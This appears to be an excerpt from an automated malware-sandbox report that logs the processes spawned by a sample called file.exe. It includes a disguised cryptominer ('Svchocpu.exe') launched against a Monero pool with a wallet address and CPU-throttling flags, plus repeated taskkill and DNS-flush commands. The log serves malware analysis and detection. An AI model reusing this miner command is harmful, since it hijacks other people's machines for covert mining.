Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ipconfig /flushdns	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ipconfig /flushdns	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
